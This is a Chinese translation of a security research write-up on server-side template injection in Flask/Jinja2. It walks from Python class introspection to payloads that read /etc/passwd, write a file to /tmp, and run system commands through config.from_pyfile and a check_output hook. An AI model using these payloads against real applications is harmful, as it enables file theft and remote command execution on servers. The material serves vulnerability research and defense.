在探索Flask/Jinja2中的服务端模版注入Part1中,我最初的目标是找到文件的路径或者说是进行文件系统访问。之前还无法达成这些目标,但是感谢朋友们在之前文章中的反馈,现在我已经能够实现这些目标了。本文就来讲讲进一步研究获得的结果。
对于之前的文章,感谢 Nicolas G 对我们的帮助
如果你有玩玩这个payload,你很快就会清楚这是行不通的。这里有有几个比较合理的解释,之后我会简短给大家说说。关键是这个payload使用了多个之前我们忽略了但非常重要的内省实用程序: __mro__
以及 __subclasses__
属性
免喷申明:以下的解释可能会存在些许生涩,我实在没兴趣把自己搞的非常精通啥的,就这水平了。大多数时候我在解决框架/语言中存在的模糊不清的部分,我都会尝试看是否能够带给我预期的效果,但我一直不知道会产生这种效果的缘由。我依旧在学习这些属性背后隐藏着的“为什么”,但我至少想将我知道的分享给大家!
__mro__
中的MRO(Method Resolution Order)代表着解析方法调用的顺序,可以看看 Python文档 中的介绍。它是每个对象元类的一个隐藏属性,当进行内省时会忽略 dir
输出(see Objects/object.c at line 1812 )
__subclasses__
属性在这里作为一种方法被 定义 为,对每个new-style class“为它的直接子类维持一个弱引用列表”,之后“返回一个包含所有存活引用的列表”。
简单来说, __mro__
允许我们在当前Python环境中追溯对象继承树,之后 __subclasses__
又让我们回到原点。从一个new-style object开始,例如 str
类型。使用 __mro__
我们可以从继承树爬到根对象类,之后在Python环境中使用 __subclasses__
爬向每一个new-style object。ok,这让我们能够访问加载到当前Python环境下的所有类,那么我们该怎么利用这一新发现愉快的玩耍呢?
这里我们还要考虑一些东西,Python环境可能会包括:
因为我们是想获得一个通用exploit,所以测试环境越接近原生Flask越好。越向应用中添加库和第三方模块,那我们能获得通用exploit的概率就越低。我们之前进行概念验证时使用的那个应用就是一个非常不错的选择。
为了挖掘出一枚exploit向量,要求不修改目标源代码。在前一篇文章中,为了进行内省,我们向存在漏洞的应用中添加了一些函数,但现在这些统统都不需要了。
首先我们要做的第一件事便是选择一个new-style object用于访问 object
基类。可以简单的使用 ''
,一个空字符串, str
对象类型。之后我们可以使用 __mro__
属性访问对象的继承类。将 {{ ''.__class__.__mro__ }}
作为payload注入到存在SSTI漏洞的页面中
我们可以看到之前讨论过的元组现在正向我们反馈,由于我们想追溯根对象类,我们利用第二条索引选择 object
类类型。目前我们正位于根对象,可以利用 __subclasses__
属性dump所有存在于应用程序中的类,将 {{ ''.__class__.__mro__[2].__subclasses__() }}
注入到SSTI漏洞中。
如你所看到的,这里面的信息太多了。在我使用的这个目标App中,这里有572个可访问类。这事情变得有些棘手了,这也是为什么上面推特中提到的payload行不通的原因了。记住,并不是每个应用的Python环境都差不多。我们的目标是找到一个能够让我们访问文件或者操作系统的东西。可能不那么容易在一个应用中找到类似 subprocess.Popen
模块进而获得一枚exploit,例如受前文Twitter上附有的那个payload影响的应用。但是从我的发现来看,没有什么能够比得上原生Flask。幸好,在原生Flask下我们也能够实现类似的效果。
如果你梳理之前payload的输出信息,你应该可以找到 <type 'file'>
类,它是文件系统访问的关键。虽然 open
是创建文件对象的内置函数, file
类也是有能力列举文件对象的,如果我们能够列举一个文件对象,之后我们可以使用类似 read
方法来提取内容。为了证实这一点,找到 file
类的索引并注入 {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
,其中的 40
是环境中 <type 'file'>
类的索引。
主观上我们已经证明了在Flask/Jinja2框架下利用SSTI是能够读取文件的,我们废了这么多时间难道只是这样?今天我的目标是远程代码/命令执行!
在前一篇文章中我引用了 config
对象的几个方法将对象加载到Flask配置环境中。其中一种方法便是 from_pyfile
,以下为 from_pyfile
方法的代码( flask/config.py
)
def from_pyfile(self, filename, silent=False): """Updates the values in the config from a Python file. This function behaves as if the file was imported as module with the :meth:`from_object` function. :param filename: the filename of the config. This can either be an absolute filename or a filename relative to the root path. :param silent: set to `True` if you want silent failure for missing files. .. versionadded:: 0.7 `silent` parameter. """ filename = os.path.join(self.root_path, filename) d = imp.new_module('config') d.__file__ = filename try: with open(filename) as config_file: exec(compile(config_file.read(), filename, 'exec'), d.__dict__) except IOError as e: if silent and e.errno in (errno.ENOENT, errno.EISDIR): return False e.strerror = 'Unable to load configuration file (%s)' % e.strerror raise self.from_object(d) return True
这里有几个非常有趣的东西,最明显的是使用一个文件路径作为 compile
函数的参数。如果我们能够向操作系统写入文件,那么就可以大显身手咯。正如我们刚才讨论的,我们能够做到!利用前面提及的 file
类不仅可以读取文件还可以向目标服务器写入文件。之后我们通过SSTI漏洞调用 from_pyfile
方法编译文件并执行其中内容,这是一个2阶段攻击。首先向SSTI漏洞注入类似 {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('<malicious code here>'') }}
。之后通过注入 {{ config.from_pyfile('/tmp/owned.cfg') }}
触发编译进程,之后就会执行编译后的代码。远程代码执行完成!
接下来将战果扩大,虽然代码在运行就非常棒了,但每个代码块都必须经过一个多步骤进程。让我们利用 from_pyfile
方法为其预设用途,并向 config
对象添加一些有用的玩意。向SSTI漏洞注入 {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output/n/nRUNCMD = check_output/n') }}
。这将向远程服务器写入一个文件,当编译完成为 subprocess
模块引入 check_output
方法,并将其设置指向变量 RUNCMD
。如果你回想一下上一篇文章,你会将其添加到Flask config
对象,用大写字符将其看作为一个属性。
注入 {{ config.from_pyfile('/tmp/owned.cfg') }}
,向 config
对象添加一个新项。注意以下两张图片的不同之处!
现在我们可以调用新的配置项在远程服务器上运行命令了,通过向SSTI漏洞注入 {{ config['RUNCMD']('/usr/bin/id',shell=True) }}
即可证明!
远程命令执行完成!
我们不必再去纠结如何逃避Flask/Jinja2框架的模版沙盒,现在就可以得出结论:在Flask/Jinja2环境下SSTI漏洞带来的影响实实在在的存在!
*参考来源: nvisium ,鸢尾编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)